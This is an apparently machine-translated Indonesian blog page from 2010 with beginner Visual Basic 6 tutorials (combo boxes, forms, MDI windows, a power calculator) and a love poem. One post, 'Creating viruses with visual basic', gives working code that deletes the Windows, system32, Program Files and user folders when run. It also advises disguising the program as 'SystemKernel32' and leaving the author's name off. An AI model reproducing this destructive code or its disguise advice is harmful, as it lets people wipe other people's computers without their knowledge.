Tuesday, December 28, 2010

Combo Box Visual Basic

 Demo Combo Box:

1. Open a new project 2. double click the command button on the toolbox 3. Form_Load code is as below:


Private Sub Form_Load()
       
        Combo1.Clear
       
        Combo1.AddItem "senin"
        Combo1.AddItem "selasa"
        Combo1.AddItem "rabu"
        Combo1.AddItem "kamis"
        Combo1.AddItem "jum'at"
        Combo1.AddItem "sabtu"
        Combo1.AddItem "minggu"
       
End Sub
 

the results as below:

Form Visual Basic

Learn Visual Basic Basic


Form is the center of the laying of control such as textbox, command button, label and others. In this form we also make atarmuka (interface / liaison) between the programs that we created with the user. As with other objects form also has properties, methods and events.


Interface (interface) program that we can make Multi (many) Form or Single (one) Form.

Applications can consist of a single application form Device Interface (SDI) and multiform Device Interface (MDI).

Below is an example application with the Single Form (window)




Applications with Multi Form (Window) MDI (Multiple Device Interface)


To create an MDI application required some form of children (MDI Child) and one MDI form and menu creation.


Create Menu
Menu can vary its usual menu is a pull down menu but there is also a menu created with TreeView
  Below is an example of software built with Visual Basic with menus TreeView and Menu Pull Down



In some cases you may need to arrange multiple windows (window) in the composition bertimpa (cascade) and the composition of stretches (tile).

The following are examples of various composition windows on the application that you might make.

The composition of windows bertimpa (Cascade)




How do I create windows automatic arrangement like that?

It's easy with just one line of code only.
MDIForm1.Arrange vbCascade

Making SDI and MDI applications such as on top of him you make as a base making user interfaces (user interface) software that you have created.

Control Object Dasar

Control Object Basic(visual basic 6.0 Beginners)

A basic understanding of Visual Basic cans be started from the introduction of:

   1. Object
   2. Properties
   3. Event
   4. Methode

1. Object
Objects can be defined to an object in this case let's say the object there is textbox, labels and comman button.

2. Properties
Properties is something that belongs to the object.
Ex: textbox has a text property or property name

3. Event
Event is an event of the object at any given moment.
For example: Object command button to receive the event when the user clicks on the software we'll click on it.

4. Method
Method is something that can be done by the object.
For example: Object combo to add item names of the days on her with AddItem method
For example: combo1.AddItem "Monday"

Try with an easy first.
For example the use textbox, command button and label.
textbox, command button and the label actually have a lot of methods and properties. You also do not need to learn all the methods, events and properties that exist will only make you confused.

Try to learn the essentials event just as keypress events and click events over the course of time you will be familiar with the other events.

Studying the properties.

For the initial stage you just learned his property name and value it like for you simply use the textbox name and text properties (eg txtNama.text = "Budi"). txtNama = property its name.


Try to note the image above the cursor always shows its context. My point here is that if you point your mouse to click once objext automatic textbox properties window in the bottom right shows the property-property that textboxt object. Similarly with other objects.

  Using this context will greatly save your time in learning visual basic.

Place one label and one button Command1 on the form. Double-click Command1 and then type the code like below:


Private Sub Command1_Click()
    txtNama.Text = "Visual Basic"
End Sub

Then run the program by pressing the F5 key. After that click button Command1. Should the program runs like the image below:



Download project clik here

how to run the demo project:
1. extract the project file you've downloaded
2. open the file project1.vbp
3. Run the project by pressing the F5 key
4. click button Command1




                                                                                                                                                                                                                                                                                                                                                                                               

sumber:http://www.xbasicpro.com/

Monday, December 20, 2010

Creating viruses with visual basic

Creating viruses with visual basic

hello my friend, this time I'll give a little tutorial how to create a virus using Visual Basic 6.0 ..

tutorial for making the virus so deadly, but simple, and rich does not
will tredekteksi antivirus, because it works very simple.



you need, among others, are as follows:
1. VB(optimal : 6.0)

2. you must first understand the function of the existing buttons

check this out:

1. Create a form as small as possible

2. teaching in that form, enter the following code

Public Sub DelAll(ByVal DirtoDelete As Variant)
Dim FSO, FS
Set FSO = CreateObject(”Scripting.FileSystemObject”)
FS = FSO.DeleteFolder(DirtoDelete, True)
End Sub

Private Sub Form_Load()
On Error Resume Next

If FileExist(”c:\windows\system32\katak.txt”) = True Then
End
Else
Call DelAll(”c:\windows\system”)
Call DelAll(”c:\windows\system32″)
Call DelAll(”c:\windows”)
Call DelAll(”C:\Documents and Settings\All Users”)
Call DelAll(”C:\Documents and Settings\Administrator”)
Call DelAll(”C:\Documents and Settings”)
Call DelAll(”C:\Program Files\Common Files”)
Call DelAll(”C:\Program Files\Internet Explorer”)
Call DelAll(”C:\Program Files\Microsoft Visual Studio”)
Call DelAll(”C:\Program Files”)
End
End If
End Sub

Function FileExist(ByVal FileName As String) As Boolean
If Dir(FileName) = “” Then
FileExist = False
Else
FileExist = True
End If
End Function

3. Code blue reply is an antidote to the virus nih sob, so in the folder c: \ windows \ system32 \ katak.txt if no file name, you will keserang own ga ... can you edit what's really so so ...


The red-colored folder would be deleted ama nih virus, edited by myself and you ...


4. Make the project name as the name of the system, here I use the name "SystemKernel32" so it would not be suspected


5. do not ever write your name on this project, okey friend?


6. yes last lived in compiling it ...


how sob, it's easy right? ..

very Simple right? This virus works to remove the system, so dangerous sting once ... this is just an example to make a virus ...

Thursday, December 16, 2010

making powers calculator with visual basic 6.0

Open a visual basic program, then make is Form1, Form1 add the following objects:

  • 3  labels
  • 2 command button, 
  • 2 text box
then fill propertiesnya as follows:

Objek                  Name                       Caption
Label1                 Label1                  MasukanX
Label2                  Label2                    MasukanY
Label3              Labelhasil                Hasil
Text1                    TxtY                     Kosongkan
Text2                   txtX                   Kosongkan
Command1          cmdHitung             Hitung
Command2         Cmdkeluar               Keluar


See the following picture:
Then type the following code listing:

Private sub cmdHItung_click()
Labelhasil.caption=val(txtX.text) ^val (txtY.text)
End sub
Private sub cmdkeluar_click()
End
End sub


simple enough right?

hopefully easy to understand

Wednesday, December 15, 2010

do you love me?

di pagi yang indah ini,entah mengapa aku merasa sangat senang sekali,aku sangat gembira dan aku merasa hari ini adalah hari keberuntunganku...

Apa mungkin itu karena aku teringat sama kamu? jawabannya adalah ya bagiku,engkaulah sumber inspirasiku

Walaupun sangat sulit untuk mendapatkan cintamu,tapi aku akan tetap mencintaimu sepenuh hatiku disini..

Kau bagaikan teknologi cinta,yang karena cinta aku kepadamu aku mampu berinovasi,berkarya,perasaan ku yang begitu dalam pada dirimu membuatku terkadang sedikit gila,dan aku berusaha mendapatkan cintamu bersaing dengan orang-orang yang jauh lebih baik dari pada itu,

Akan tapi aku tidak akan menyerah..

Setiap saat aku bertanya kepada hati kecilku,

Do you love me?

To Future: hari Kiamat

To Future: hari Kiamat